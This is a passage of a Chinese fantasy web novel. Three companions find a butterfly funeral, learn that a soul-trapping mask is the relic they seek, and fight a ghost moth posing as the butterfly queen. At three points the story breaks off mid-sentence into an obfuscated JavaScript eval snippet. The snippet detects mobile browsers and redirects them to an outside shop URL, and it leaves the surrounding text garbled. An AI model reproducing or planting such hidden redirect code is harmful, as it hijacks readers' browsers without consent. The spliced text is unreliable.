林眠想不明白这个问题,她自有记忆以来,菌丝就和自己在一起,甚至自己想用菌丝做什么都可以。 实在是太奇怪了。 …… 时间一点一点过去了,直到天色渐黑,秦宁才醒来。 秦宁看了眼在床上睡的正香的瞿木,对林眠说:“这里太奇怪了,据我所了解,面蝶是只很善良的妖物,不知道为什么变成了这样。” “但这里还保留着以往的活动,破茧之宴,蝴蝶葬礼。”林眠说,而且…… “这里的面具和我们在青州市里看到的面具很像,书签也提到了阡陌将军,面蝶也祭拜阡陌将军吗?” 林眠觉得这里和青州市里的祭祀活动对应上了,虽然不知道什么原因。 秦宁也想过这个问题,“关于面蝶的记录太少了,只知道它居住在深山,是蝴蝶之王。关于神器蝶翅,也是从阿细那里听说的。” “阿细也太不厚道了,让我们来借蝶翅,这不是让我们掉入火坑吗?”瞿木已经醒了,刚好听到秦宁说的话,便直接开口说。 说着也从床上起来,穿鞋,他突然想起自己从洞穴里带出来了一对蝶翅,便拿出来放到桌上。 “我昨晚上色的时候,顺手拿了一对。” 林眠拿起来看了看,对着外面的光线晃了晃,散发着蓝紫色的光,就像是真的蝴蝶翅膀一样。她都忍不住夸一句:“真好看。” “好看,上色上的我手都酸了。”瞿木说着揉了揉手,“它们还挺聪明,知道找人类来做这玩意,我看它们做的慢死了。” 秦宁垂下眼,沉思了会,突然开口:“这蝶翅会不会和蝴蝶葬礼有关?” “破茧之宴出现了茧,可这蝶翅却没有出现,那会不会在蝴蝶葬礼上出现?”秦宁反问他们。 林眠和瞿木对视一眼,都觉得有可能。 “但是,我们怎么找到蝴蝶葬礼啊?”瞿木叹了口气,现在是借不到蝶翅的了,也不知道该怎么办。 “我们出去吧,这里太多怪事了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13580056|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都得一一查清楚。”秦宁干劲十足,拿着驱魔弓就出门。 “我们的目的是蝶翅啊。”瞿木不忘提醒说,“拿不到蝶翅,还怎么拿到阿细的眼泪?” 林眠看了眼瞿木,对他说:“不着急,还有一个多月的时间呢。” “是吗?”瞿木愁苦着说,银木邪性虽然在况衍君身上,但况衍君这个人也很奇怪啊!到时候怎么样都不一定。 “走吧。”林眠招呼瞿木快出来。 出了宫殿大门,看着外面树影重重的深山,瞿木抖了抖身上的鸡皮疙瘩,问:“宫殿里已经没有蝴蝶了,那蝴蝶的葬礼在哪举行?” 外面天色渐黑,三人看着远处一片幽黑的深山老林,不免陷入了沉思。 “信上也没说怎么去,破茧之宴是蝴蝶带我去的。”林眠说道,“可现在都没见到蝴蝶了,我们也不知道蝴蝶葬礼在哪举行。” “蝴蝶带你去的?”瞿木一听,突然想到:“是不是找到蝴蝶就可以找到蝴蝶葬礼了?” “这里的蝴蝶有一种专门引路的蝴蝶,我之前也是跟着蝴蝶才找到这座宫殿。”秦宁说道。 问题是,现在这里,一只蝴蝶都看不到。 “这蝴蝶葬礼,听着就让人毛骨悚然。指不定,今晚估计还有受害者。”瞿木突然想到这个。既然茧里面有死人,那蝴蝶葬礼,不得更有死人? 林眠在旁没说话,如果说要蝴蝶的话……也不是没有蝴蝶。她连忙把身上的信拿出来,这信上就有一对蝴蝶翅膀,特别的闪,栩栩如生。 “怎么了?”秦宁注意到林眠的动作,问她。 林眠打开信,指着上面的蝶翅,说:“其实是有蝴蝶的。” “可这不是真蝴蝶啊。” 瞿木话音刚落,就见信纸上的这只蝶翅扇动翅膀,竟从纸上飞了起来。 “还真是一只蝴蝶啊。”瞿木喃喃自语。 这只蝴蝶飞起来的时候,身后就像是有金色的鳞粉一样,撒落在空中。它朝着幽黑的深山飞去,但速度不快,人可以跟上。 林眠一行人跟着这只蝴蝶往前走。 茂密的丛林不是很好走,可是这附近也没有别的路,只能从树林里穿过去。 “不知道的,还以为我们回到原始社会了。” “这要是有蛇怎么办啊?” 瞿木从小就在城市里长大,顶多也就去过湿地公园的绿道走走,这深山老林简直让他整个人都不好了,特别是那些灌木划过自己裤腿时的摩擦感。 “不会,这附近的蛇都跑了。”林眠走在瞿木身边,说道。她刚刚用菌丝在附近搜索了一下,没发现什么动物的痕迹。 瞿木看了眼林眠,他真羡慕林眠这颗大心脏,走在深山老林里都不带怕的。 “我们都走了半小时了吧?”瞿木问,这只蝴蝶还不带停的。 秦宁低下头,看了眼手表,说:“嗯。” 又大约走了一个小时,才看到前面有微弱的光亮。 那只蝴蝶落在林眠的手中,又变成一只普通的蝶翅了。林眠将蝶翅收起来,打量着周围,只见前面不远处就有一条蜿蜒的小路,在黑暗中散发着淡淡的光芒,不太显眼,却又能一眼让人看到。 “是蝴蝶群。”林眠往前走几步,就能看清楚,停留在蜿蜒小路上的蝴蝶群。 听到蝴蝶群三个字,秦宁握紧了驱魔弓,随时准备战斗。 然而,蝴蝶群根本没有搭理他们。 他们也发现,小路上几乎是分段的,每一段大约都有上百只蝴蝶聚在一起,匍匐在地面上,翅膀扇动,却没有离开地面。 这场面实在是太怪异了,大家都没有出声。 27. 阡陌将军 林眠看着这群蝴蝶匍匐在地面上,偶尔会有散开,仔细一看,才发现底下是蝴蝶的尸体,零零散散的蝴蝶尸体碎片,就这么在地面上,触目。 但同时,她也感受到了虔诚。 蝴蝶不是一直停留在一个地方,它们有序的朝前前进着,在在每一堆尸块处虔诚的停留,就像是真的在进行着祈祷和仪式。 林眠他们也沿着小路往前走,越往前走,蝴蝶也越来越多了。而前面也越来越亮了,就像是星星点缀在这条小路上一般。 “这和预想的不太一样啊。”瞿木伏在林眠耳边小声说。他也不想打破这一刻的宁静,又想和林眠说话。 对于这一场蝴蝶葬礼,他感觉自己更像是个游客,没有办法共鸣,但享受着视觉盛宴。 林眠看了眼瞿木,摇摇头,没说话。 往前走了一段路,就有些不一样了。 前面到处都是蝶翅,用蝶翅做成的树、地面上铺满了蝶翅,这些蝶翅在月光的照耀下,散发出微弱的光芒。 而不断地有蝴蝶前来拿走一对蝶翅。 瞿木看着,原来自己做的蝶翅是给这些蝴蝶们。 林眠走在最前面,突然她停了下来。 紧跟在后面的瞿木也连忙停下,探着头看向前面。 秦宁在小路的另一边,也停了下来。 面前是一群蝴蝶,在半空中飞成一个弧形,密密麻麻的,挡住了前面的路。这些蝴蝶都没攻击的意思,但也确实拦住了他们。 林眠想了想,从身上掏出信,递了过去,蝴蝶就将信打开,拿出里面的那对蝶翅后,就将信还给林眠,之后散开了。 林眠看了眼对面的秦宁,朝他点点头,抬脚往前走。 她走过去,蝴蝶们又聚集在一起,把秦宁和瞿木拦了下来。 “什么意思?”瞿木懵了,这不给他和秦宁进去? 蝴蝶不会说话,只是固执地聚集在一起,将这条路拦了起来。 秦宁一个纵身跳跃,就跳到瞿木身旁,说:“看来进去要通行证。” “什么通行证?” “那个蝶翅。” 瞿木一听,蝶翅?自己也有啊。连忙从自己的口袋里拿出一对蝶翅,递上去,果真有蝴蝶将蝶翅拿走,随后散开,让瞿木进去。 “真有用啊。”瞿木不可思议地说,连忙踏过去,并不忘回头对秦宁说:“你看看地上的这些蝶翅你能不能捡一对过来,我先进去了。” 说完,蝴蝶们就将他们隔绝开了。 秦宁看着面前的一堵蝴蝶墙,强闯过去?看样子不是不可行,这些蝴蝶并没有什么杀伤力,只是数量多。 但看到了刚刚的场面,秦宁并不是很想这么做。 至少目前他所看到的蝴蝶葬礼,还是十分虔诚。他也无意破坏蝴蝶之间的信仰。 他选择扭头回去,去找一下有没有别的途径。 林眠和瞿木相视一眼。 “秦宁怎么办?”林眠问。 “没事,他会有办法。”瞿木吊儿郎当地说。反正秦宁自己一个人也不会出事,但是他不能离开林眠。 林眠想想也是,秦宁这么厉害,肯定有办法进来。 “我们先往前走走吧。”林眠说,前面那处光亮处,给人的感觉很不一样。 “行。”瞿木点头答应。 他们两个一起往前走了一段路,发现这里十分的空旷,连蝴蝶都没一只,但有很多的面具,用着麻绳穿起来,挂在树的腰身上,将这里围成了一个圈。 “这到底是做什么啊?那只大蝴蝶也不知道去哪了。”瞿木走到面具面前,随便翻了一个看看,并说:“这些面具会不会有书签啊?” 林眠也是这么想的,和瞿木说:“我们找找看?” 这里大约有上百个面具,两个一起翻看,也不用多少时间。 “行。”瞿木点头后,就翻了起来。 结果,林眠还真找到了一个书签。 【在这里,我认识了一个人,他和我一样,都是人。】 “我刚刚看了,我这边都没有。”瞿木走过来,发现林眠手上拿着一个书签,问:“写的什么?” 见林眠没回答,瞿木低下头看了下,说:“人?” “看不明白,不过和蝶翅也没什么关系。”瞿木在旁边说。在他看来,这个人实在很奇怪,竟然还在这里留了书签,而且还和林眠一样,身上有同样的菌丝。 林眠将书签收起来,说:“我们去那边看看,我看那边有个用面具组成的雕像。” “啊?”瞿木检查的是另一边,自然没有注意到还有雕像这回事。 他跟着林眠走到一个角落处,确实看到了一尊…雕像?这是用面具弄出来的一个人形物,大约到自己的胸口处。 瞿木看了看这些面具,和挂在绳子上的也没什么区别。 林眠刚刚翻过这里,没有书签她就走了,这会儿才有空细细打量。 “有字。”林眠指着一个面具说。 瞿木连忙凑上去看了看。才发现,这些面具上都刻了小小的一行字。 他看了看,发现这些字都是记录了阡陌将军的来历,以及方相面具的由来。 “蝶翅的能力是锁灵,能将死去之人囚禁于面具之中。被囚禁的亡灵在此处等待死亡与新生的机会。” 瞿木将一块面具上的文字念出来。 “方相面具就是蝶翅。”林眠在旁也看了一块面具上的文字,得出结论。 “难怪这里都是面具。”瞿木看了看周围,说。 “但是,在阿轻身上我没有看到面具。”林眠说,这次找到蝶翅才是重中之重。 瞿木总觉得方相这两个字特别耳熟,之前吃饼的时候,秦宁就说过饼上面的图案是方相,等下…… “方相是给死人带的面具。”瞿木想起来了,他之前也看过一些历史书籍,里面就出现过方相,之前在青州的时候没想起来。 “呸!真晦气。”瞿木想起来,又觉得胃部犯恶心了。这青州人民怎么把死人带的面具图案印在饼上啊,不嫌晦气么? 林眠看着瞿木跟吃了苍蝇一样的表情,说:“这也是一种传承嘛,而且青州人都这么吃,你不要想太多。” “是是是,百无禁忌。”瞿木摇着头说。如果放以前,他肯定不在意,也不相信这一些,问题是…… 现在根本就不是这个情况,世界上有没有鬼不知道,但是有妖物! “总之,我们快点拿到蝶翅吧。”瞿木也不想搅入妖物的世界,他现在只想快点拿到蝶翅,然后离开这个深山老林中。 林眠回过头,看向瞿木,目不转睛地看着他。 “怎么了?我脸上有东西?”瞿木摸了摸脸,被林眠这么看着,让他有些不好意思,但转头一想,自己长得这么帅气,有什么不好意思的? “你怎么蔫蔫的?”林眠发现瞿木变憔悴了不少,黑眼圈都出来了。 瞿木一听,摸脸的力度都大了些,语气里带着惊恐:“不是吧?我变得很丑了吗?” 林眠耸耸肩,瞿木比自己都爱美。 “唉。”瞿木叹了一口气,“还是城市里的钢筋水泥更适合我。” 林眠撇了一眼瞿木,叹了一口气,摊开手说:“你少爷病又犯了。” “什么少爷?”瞿木目瞪口呆,第一次从林眠嘴里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592739|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到“少爷病”这三个字,“你平时就这么想我的?” 瞿木十分受伤,他顶天立地的形象就变成了少爷病? 林眠无辜的眨眨眼,十分理解地说:“你确实是少爷啊,有点小毛病也是正常的。” “咳咳。”瞿木还是觉得哪里不太对。 两人这么有一搭没一达的偏了话题,让周围的氛围轻松了一些。 “你说历史上有这位阡陌将军吗?”林眠突然出问阡陌将军的事。这里的祭祀分明就是供奉阡陌将军的,而且书签上也写了阡陌将军。 瞿木都不带回头,脱口而出:“有也是死人一个了。” “可书签上写了,那个人见过阡陌将军。”林眠也觉得很奇怪,阡陌将军按道理也是几千年前的人了。 “谁知道?难不成是用蝶翅看到的?这蝶翅说是能锁住亡灵。”瞿木也脑洞大开,说完,他觉得自己的猜测十分的合理。 他话音刚落,地面上突然起了大风,瞿木差点没站住,连忙拉住一旁的绳子,才稳住了身体。 “怎么突然这么大的风?”瞿木仰起头看了看天。 林眠仰起头,果然看到了一只巨大的蝴蝶,盘旋在半空之中。 是阿轻来了。 “你们来了。”阿轻的声音传来,在半空中还转了一个圈。 “这金属翅膀是怎么飞起来的?”瞿木整个人都快挂在绳子上了,他气喘吁吁地说。 “怎么少了一个人?”阿轻的声音在这深山中传来回响,明明是少女清脆的嗓音,也变得有些庄严了。 林眠仰着头,看着阿轻。 “那些人是你杀的吗?为什么?”林眠仰着头问,她并不讨厌阿轻,她还记得昨天晚上,阿轻变成小女孩抱住自己的模样。 她不知道怎么形容那种感觉。自己从小到大,基本上没有什么朋友,也很少人会和自己接触,还是第一次有“人”这么抱住自己。 “我是妖物,又不是人,杀人不是很正常吗?”阿轻的语气变得温柔了一下,“更何况,杀了人,才能拿到人类的魂魄,把魂魄放到面具里,再注入茧中,就能制造出很多的蝴蝶。” 阿轻说着,脸上露出愉悦的表情,一字一句地说:“就是这样,我才喜欢这个面具。” 她口中的面具,就是蝶翅。林眠垂下眼,和自己想的一样。 “我不想伤害你,那个除妖师呢?”阿轻再次开口,“今晚的目标是他,我会把他的灵魂,做成最低等的白蝴蝶。” “幸好不是我。”瞿木呼了一口气,他可不想变成蝴蝶。 不对啊,把人的灵魂变成蝴蝶?这怎么做到的? “你体内有菌丝,可以把你做成彩蝶。”阿轻又说。 瞿木猛地发现她这句话是对着自己说的,因为她那双巨大的复眼,无疑正对着自己?瞿木用手指指着自己,不可置信:“为什么我也要啊?” 他还以为自己逃过一劫了。 “怎么把人变成蝴蝶啊?”林眠问。 瞿木看向林眠,他感觉自己的心碎了,林眠都不帮自己出一下气吗?好歹说一句:我不会让你把瞿木做成蝴蝶的。 “蝶翅的作用,既能锁住死去的鬼魂,也能让这些鬼魂获得第二次新生,也就是变成蝴蝶。”阿轻对于林眠的问题,都一一耐心地解答了。 瞿木站稳身体,问:“能不能把蝶翅借我们用用?很快就会还给你。” “你只不过是一个傀儡,有什么资格跟我借蝶翅?” 瞿木瞬间囧了,“不是,你不借就不借,干嘛还说我是傀儡啊?” “傀儡是什么意思?”林眠敏锐地捕捉到阿轻话里的关键词。 28. 破防 “你的傀儡。”阿轻回答。 “每个妖物都有自己独特的能力,菌丝的能力就是让人变成自己的傀儡。”阿轻很耐心地解释。 瞿木看向林眠,张了张嘴,这听起来……真的哪哪都不舒服。不过也不是不能接受,他多多少少都有些习惯了。 林眠自己都不知道这一些,她突然发现,自己对菌丝是不是太陌生了? “他来了。”阿轻突然说。 林眠和瞿木一回头,就看到了一抹红光冲了过来,无疑就是秦宁来了。 秦宁一来,就和空中的阿轻打了起来。 “你究竟是什么妖物?”秦宁一边朝着阿轻拉弓射箭,一边问。他的决不可能有问题,那一定是这妖物的身份出了问题。 阿轻冷笑一声,“告诉除妖师自己的名字,那才是最愚蠢的。” “我们要不要帮忙啊?”瞿木在下面看着,问林眠。 林眠看着他们两个打的不分上下,还是决定帮秦宁。她抬手,长出菌丝,朝着半空中的阿轻袭去。 瞿木也冲上去,尽自己的一份力。 三个人一起,阿轻很快就坚持不住了,没几下就掉落在地。 林眠的菌丝缠绕上阿轻的蝴蝶翅膀,秦宁接着念决,他要一个一个尝试,他就不信自己找不出这妖物的身份。 “小心点,免得她又像上次一样,把蝴蝶翅膀给脱了下来。”瞿木走上前,拍了拍翅膀,果然还是金属的。 他一把抓住触角,把两个触角打了个蝴蝶结,才松开。 “为什么要打结啊?”林眠看不懂瞿木的行为。 “它不是用触角攻击么?打结后就没办法用了。”瞿木为自己想出这个办法而感到机智,他看向一旁在使劲念咒语的秦宁,摇摇头。 “为什么要这么对我?为什么?”阿轻的语气变得有些暴躁,就像是在怒斥林眠的背叛一样。 林眠不喜欢这种感觉,对她说:“我不是你的朋友,菌丝有没有意识我不知道,但我的身体是我的。” “是吗?你也是菌丝的傀儡的啊。” “只是,你似乎是祂特别看中的,比上一位要有优待得多。” 阿轻说了句莫名其妙的话后,又接着说: “也无所谓了,那就为今天的事做个了结吧。” 阿轻突然仰起复眼,快速地转动,身体发出黑色的光,一阵一阵的。 秦宁见状,加快了念决的语速。 没一分钟,阿轻已经挣脱了菌丝的束缚和秦宁的控制,地上还留下了一对巨大的蝶翅。 “我靠,又和上午一样,这招屡试不爽是吧?”瞿木看着地上的金属蝶翅,抱怨着说。 “不一样。”林眠出声,“看上面。” 瞿木看向天空,天上的不是一只蝴蝶,而是一个长着粉色翅膀的人,还有两条毛茸茸的触角,和蝴蝶光滑的触角不一样。 更主要的是,她手上拿着一个面具。 “林眠,那个面具就是蝶翅吧?”瞿木问林眠。 林眠点点头,“应该是。” “这个模样,应该是她真正的形态吧?”林眠说,不是蝴蝶的大翅膀,而是一双粉色的翅膀,触角也不是光滑的,而是毛茸茸的。 乍然一看,还有点可爱。 不过,林眠是第二次见她人形模样了,但是又和那天晚上有点区别,主要是触角,还有翅膀,那天晚上是没有翅膀的。 “还是个孩子啊。”瞿木看到半空中的阿轻,忍不住吐槽说。 阿轻人形模样,看起来也只有十二三岁的样子。 “孩子?按照岁数,我都可以当你的祖奶奶的祖奶奶了。”阿轻低下头,看着地上瞿木,不屑地说。 瞿木抽了抽嘴角,行,你年纪大你了不起。 变成人形的阿轻,拿着面具,触角突然变长,朝着地上的秦宁袭去。 秦宁反应也很快,用驱魔弓抵挡住进攻。林眠和瞿木对视一眼,也一起上了。 但不知道什么原因,变成人形的阿轻行动更为灵巧,能力也大大增强。他们三个一起上,竟然没讨到一点好。 瞿木还被一只触角还吊了起来,头向地。他看了眼地面,心跳砰砰的,好在自己不恐高,不然得吓死。 秦宁一箭射过来,触角就松开瞿木了,瞿木的身体长出菌丝,支撑着他平稳地落在地上。 瞿木看了眼一旁的林眠,说了声“谢谢”。现在林眠操控菌丝的技术越来越好了,他都不用担心自己的人身安全了。 “小心!”林眠看触角又朝秦宁过去,连忙用菌丝挡了一下。 但现在的情况很不好,林眠的菌丝也只能和触角互相抵挡一下,并不能造成什么伤害。也能看出,阿轻没怎么想和自己打,主要是秦宁那边。 “乖乖,这怎么变得那么强了?”瞿木喘着气,再这样下,他们都得被耗死,打了半天,累死了,结果对方毫发无损。 “会不会是因为那个面具?”林眠说,唯一不同,那就是阿轻手上的这个面具。 秦宁这会儿也借势过来,停在他们的身边,说出自己的猜测:“她肯定不是面蝶,决一点作用都没起。” “那面蝶去哪了?”林眠问,这里是蝴蝶之王的地盘,如果阿轻不是面蝶,那真正的面蝶呢? 秦宁没出声,只是快速地说:“当务之急是找出它的身份。” 说完,秦宁又去和阿轻打起来了。 “不是面蝶,那会儿是什么啊?我们两个也不知道啊。”瞿木在旁边干着急。 林眠没吭声,这种时候…… “我们试探一下。” “试探?”瞿木没明白,就见林眠冲了过去。 “蝶翅是不是你偷的?”林眠对着半空中的阿轻喊。 瞿木这才明白,原来是激将法,自己都没想到,怎么感觉林眠变聪明了? 阿轻听了林眠的话,果然有些破防了,低下头,稚嫩的脸庞有些不甘心地说:“那是你给我的。” 林眠听了,一脸懵逼。 “应该是指你体内的菌丝给的。”瞿木在旁边解释道,这样才说的通。但…这个阿轻还真的很在意林眠说的话啊?! “你的意思就是,你根本不是面蝶,也不是这些蝴蝶的王。”秦宁对阿轻说,这点和自己猜测的一样。 阿轻不是很在意,无所谓地说:“那又怎么样?蝶翅在我的手里就是我的。” 她快速的甩动着触角,追击着秦宁。 “你们除妖师就爱管闲事。” “你杀了那么多人,是为什么?”秦宁对于妖物之间的战争不感兴趣,只在乎为什么杀人,“明明身处于深山,却要杀山外的人。” 阿轻没有回答秦宁这个问题,她双手举起蝶翅,闭上眼,触角的威力更大了,迅速地追击着秦宁。 秦宁根本打不过,下一秒就被触角捆绑了起来。 林眠和瞿木见状,也只能上前去帮秦宁。也成功的把秦宁从触角里救出来,可林眠却被触角抓起来了。 “你上一次见到菌丝是什么时候?”林眠为了拖住阿轻,给秦宁点休整的时间,只能问关于菌丝和阿轻的事。 阿轻看着林眠,似乎是在思考。 “大概,三十年前吧。”阿轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603775|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完,下一秒便用触角缠住林眠的脖子,说:“如果把你杀了,菌丝是不是就会从你的身体里出来?” “这样,我就可以再次见到祂了。” 林眠伸出手,握住缠在脖子上的毛茸茸触角,随着触角收紧,她有些喘不过气来,头晕目眩。 她垂下头,看着地面上的瞿木和秦宁。 瞿木紧张的不行,在旁边对秦宁说:“快点想想办法啊,等会林眠出事了怎么办?这菌丝也不知道是敌是友,万一跟着阿轻合伙,我们就完蛋了。” 他现在只知道一个事实,就是菌丝也是独立的,林眠的身体、自己的身体,都是只是菌丝的容器。 秦宁刚刚受了重击,此刻正喘着气,他脑子里快速闪过很多妖物的名字和决,可无一个能对得上。 “如果这妖物不是蝴蝶,会是什么?”秦宁咬着牙,声音有些虚弱地问。 瞿木看向半空中的阿轻,着急地说:“不管是什么,总之都是有翅膀,有触角的。” “而且,她这个样子和蝴蝶很像啊,不是面蝶,难道就不能是别的蝴蝶妖物吗?” 林眠感觉自己快要晕过去了,和上次在云泉酒店一样的感觉,身体的力气被抽空,眼前逐渐模糊,意识也快要消失了,可偏偏…… 耳朵最清醒,周围的风声、草动,都听得一清二楚。 她张了张嘴,她想到了,能和蝴蝶如此相似的…恐怕也只有—— “蛾。” 林眠的声音很微弱,下面的瞿木和秦宁根本听不见。 瞿木担心林眠会出事,已经不管秦宁了,直接从地上捡了一颗石头,朝着半空中的阿轻扔了过去,并喊:“你把林眠放了,我换她。” “你?你死了,菌丝也不会现身。”阿轻对待瞿木的态度依旧很不屑。 瞿木看着她顶着一张小女孩的脸,说出的话这么欠揍,就很想揍她一顿,仰着头,对着她说:“你个大扑棱蛾子,把人给我放了,等会菌丝要是真的出来了,到时候我就让菌丝第一个把你宰了。” “让你在这装大扑棱蛾子,那对翅膀都是假的。” 秦宁听着瞿木的话,突然想到了。 “是蛾!阿轻的触角正是蛾的象征,只有蛾是触角是毛茸茸的,像刷子。我怎么没想到。”秦宁拍了一下自己的脑袋,让自己振作一些。 他站稳身体,脑子里快速闪过关于蛾类妖物的记载,再一一和面前的这只蛾对应,对应下来,却都不太符合,但秦宁觉得目前最能对上的,应该是—— “鬼蛾。” 瞿木被秦宁吓了一跳,问:“鬼蛾是什么?” “鬼蛾依托于人死去的亡灵,力量来源于鬼魂。鬼蛾一般能力较弱,因为鬼魂没办法在世上待得太久。 “只是,这里没有鬼魂,她不应该拥有这么强的力量。” “别解释了,快点救林眠。”瞿木打断秦宁的絮絮叨叨,他不在意这个妖物是什么,他只知道林眠眼皮都垂下了。 秦宁也只能快速地念了一个决,再咬破自己的手指头,写下一道红符,拉弓,对准阿轻射了出去。 阿轻见这箭和之前不太一样,用另一只触角去抵挡,但谁知道这道红箭着实可怕,燃烧的火焰碰到了触角,让她感到钻心的疼痛。 这一下,也让缠着林眠的触角松开了些。 借此机会,秦宁救下林眠后,就冲着阿轻去了。看来猜的没错,就是鬼蛾,既然知道了对方的身份,那么就要方便得多了。 “林眠,林眠。”瞿木扶着林眠,叫她。 林眠迷迷糊糊睁开眼,看着瞿木说:“蛾,是蛾。” 29. 鬼蛾 “知道了,你缓缓。”瞿木看着林眠小脸惨白惨白的,上次脖子上的红印还没好,又多了几道,这群妖物怎么都喜欢掐人脖子啊。 林眠看着瞿木,慢慢缓过气来,“现在怎么样了?” “秦宁说这个妖物是鬼蛾,力量跟鬼魂有关系,我也不太懂。”瞿木看了眼正在和阿轻打斗的妖物,说:“看样子没猜错,现在好像不相上下了。” 林眠垂下眼,用手摸了摸自己的脖子处,火辣辣的疼,她轻声说:“阿轻手上的蝶翅,正是锁鬼魂的神器,也就是她为什么突然变这么强的原因。” 这么一说,瞿木也想起来了,之前在面具雕像处看的。他刚刚太着急了,就没把这事和秦宁说。 “我去告诉秦宁,你先休息一会儿。”瞿木说完,就冲出去,对着秦宁大喊:“秦宁,她手上的面具就是蝶翅,蝶翅的能力是锁住鬼魂。” 阿轻低下头,用刀子一般的眼神看着瞿木。 瞿木被看的有些发毛,但还是假装气势十足地说:“看什么看?我没说错吧。” 秦宁看向阿轻手上的面具,没想到世上竟然还有这样的神器,可以锁住鬼魂,确实是鬼蛾最好的武器,能给它提供力量来源。 “是又怎么样?有本事你就来拿。”阿轻看着秦宁,神情很坚决。 “这面具和方相很像。”秦宁突然开口说这个。 阿轻看向面具,“蝶翅是阡陌将军送给我的,是那个面蝶死活不肯。她以为她拿着上千年了,这方相面具就是她的了吗?” “还更名为蝶翅,可笑。” 阿轻的絮语,让秦宁皱了一下眉。阡陌将军必然是已死之人,而鬼蛾是三十年前才从面蝶那里接替了面蝶,成为新的蝴蝶之王。 鬼蛾和阡陌将军、菌丝见面是在三十年前。秦宁满肚子的疑惑,但阿轻已经用触角飞过来了,他根本没空再想这些。 秦宁退回到林眠他们身旁,快速地说:“我现在只能牵制住她,这面具里不知道有多少亡魂,只能先想办法拿到面具,这样她的力量会大大削弱。” “这怎么拿啊?”瞿木看向正朝这儿来的阿轻,摇了摇头,“她那对触角太厉害了,我们根本近不了身。” “小心。”林眠看到阿轻一下子就过来了,且触角拐了个弯,直直的对着瞿木和秦宁的身后。 这个距离太近了,情急之下,林眠直接冲了上去,将瞿木拉开了。 秦宁到底是除妖师,身体反应速度极快,且有驱魔弓在身上,顶多就在地上滚了两圈。可瞿木是普通人,根本躲不开。 瞿木还没反应过来,眼前就被红色血气包裹了。他愣愣地伸出手,接住林眠,表情呆滞。 “血。”瞿木摸到一股黏腻,血腥味冲刺着鼻腔。 林眠感觉到胸口处的疼痛,她眼前的最后一幕,就是瞿木的脸。 阿轻也没想到会这样,收回触角后,她站在原地,看着前面的林眠。 “菌丝!”秦宁突然大喊了一声。 瞿木才反应过来,低下头一看,林眠背部伤口处长出很多菌丝,不知道是不是被血给染红了,这些菌丝是红色的。 “你会死吗?”瞿木抱着林眠,问她。他不知道现在这个局面,菌丝的出现会怎么样,会不会让林眠活下来。 突然,林眠皱了一下眉。瞿木眼前一亮,还不等他反应,林眠体内的菌丝突然以极快的速度生长,而后化成利器,直接朝不远处的阿轻刺了过去。 正中心脏处。 阿轻颤抖着张开嘴,看着自己胸口处的菌丝,等到菌丝离开自己的身体后,她也倒在了地上。 菌丝回到林眠的身体里。 周围突然变得很安静,只有唰唰的风声、面具晃动的声音。 秦宁上前拿起方相面具,拿到面具那一刻,他看到了飘浮着的阿轻魂魄,而后便飞入这面具中。 方相面具的眼睛处亮了一下,代表着亡魂已锁在面具之中。 秦宁这才发现,面具上有十八个小点,在阿轻的魂魄进去后,第十八个小点刚好亮了。 代表着这里面有十八个亡魂吗?秦宁也没空想这个,连忙走到瞿木身边,查看林眠的状态。 他伸出手探了下脖子处的脉搏,说:“还有气。” “怎么办?她背后都是血。”瞿木还在抱着林眠,也不敢乱动,怕流更多的血。 “把她放下来,我来处理。”秦宁说着,把自己的外袍脱下来,铺在地上,再从身上拿出药粉,给林眠止血。 这一套操作下来,已经过去大半个小时了。 秦宁喘着气,瘫坐在地上。 瞿木则在旁边照顾林眠,自己脸上的血迹都没擦。 不远处的阿轻尸体已经变成了一只巨大的蛾子,相比与她鬼蛾的名字,蛾的原型竟然是一只粉红色的大蛾子。 秦宁坐在草地上,把弄着这个蝶翅,不,方相面具。 等到天微微亮时,才有蝴蝶飞了过来,是一群白色蝴蝶。 “瞿木,昨晚你说,这面具能够把亡魂变成蝴蝶?”秦宁对一旁的瞿木说。 瞿木点点头,脸上都是疲倦,“嗯,阿轻是这么说的。” 秦宁举起面具,就有蝴蝶飞上来,停留在面具处。他想了想,对着面具上一个点摁了一下,就见一个魂魄从面具里出来。 是一个年纪约六十来岁的老人。 老人有些迷茫的看了看周围,然后视线停留在秦宁身上,喃喃道:“我是要去轮回了吗?” 秦宁垂下眼,问:“老人家,你…愿意再体验一次新的生命吗?不是作为人,而是…蝴蝶。” “蝴蝶啊,好啊。”老人家回答的没有犹豫,人已死,也没有别的诉求了。 之后,白蝴蝶将老人家的灵魂包裹起来,大约过了一个小时,地面上出现一颗巨大的茧,而茧破开后,一群蝴蝶破茧而生。 瞿木没有心情欣赏这一些,他对秦宁说:“天亮了,我们赶紧出去吧,林眠需要送到医院去。” 